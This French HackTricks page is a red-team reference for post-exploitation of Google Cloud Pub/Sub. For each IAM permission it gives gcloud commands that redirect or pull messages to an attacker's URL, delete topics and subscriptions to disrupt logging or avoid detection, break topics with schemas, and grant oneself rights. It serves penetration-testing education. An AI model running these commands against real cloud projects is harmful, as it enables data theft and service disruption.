GCP - Pub/Sub Post Exploitation
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Pub/Sub
Pour plus d'informations sur Pub/Sub, consultez la page suivante :
pubsub.topics.publish
Publiez un message dans un sujet, utile pour envoyer des données inattendues et déclencher des fonctionnalités inattendues ou exploiter des vulnérabilités :
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
pubsub.topics.detachSubscription
Utile pour empêcher une souscription de recevoir des messages, peut-être pour éviter la détection.
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
pubsub.topics.delete
Utile pour empêcher une souscription de recevoir des messages, peut-être pour éviter la détection.
Il est possible de supprimer un sujet même avec des souscriptions qui y sont attachées.
gcloud pubsub topics delete <TOPIC NAME>
pubsub.topics.update
Utilisez cette autorisation pour mettre à jour certains paramètres du sujet afin de le perturber, comme --clear-schema-settings
, --message-retention-duration
, --message-storage-policy-allowed-regions
, --schema
, --schema-project
, --topic-encryption-key
...
pubsub.topics.setIamPolicy
Donnez-vous la permission d'effectuer l'une des attaques précédentes.
pubsub.subscriptions.create,
pubsub.topics.attachSubscription
, (pubsub.subscriptions.consume
)
Obtenez tous les messages dans un serveur web :
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
Créez une souscription et utilisez-la pour extraire des messages :
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
pubsub.subscriptions.delete
Supprimer une souscription pourrait être utile pour perturber un système de traitement de journaux ou quelque chose de similaire :
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Utilisez cette autorisation pour mettre à jour certains paramètres afin que les messages soient stockés dans un endroit auquel vous pouvez accéder (URL, table Big Query, Bucket) ou simplement pour le perturber.
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
pubsub.subscriptions.setIamPolicy
Donnez-vous les autorisations nécessaires pour effectuer l'une des attaques précédemment commentées.
pubsub.schemas.attach
, pubsub.topics.update
,(pubsub.schemas.create
)
Attaquez un schéma à un sujet afin que les messages ne le remplissent pas et que le sujet soit donc perturbé.
S'il n'y a pas de schémas, vous devrez peut-être en créer un.
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Cela peut sembler comme la suppression d'un schéma, vous pourrez envoyer des messages qui ne respectent pas le schéma. Cependant, comme le schéma sera supprimé, aucun message n'entrera réellement dans le sujet. Donc, c'est INUTILE :
gcloud pubsub schemas delete <SCHEMA NAME>
pubsub.schemas.setIamPolicy
Donnez-vous les autorisations nécessaires pour effectuer l'une des attaques précédemment commentées.
pubsub.snapshots.create
, pubsub.snapshots.seek
Cela créera un instantané de tous les messages non ACK et les remettra à l'abonnement. Pas très utile pour un attaquant mais le voici :
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.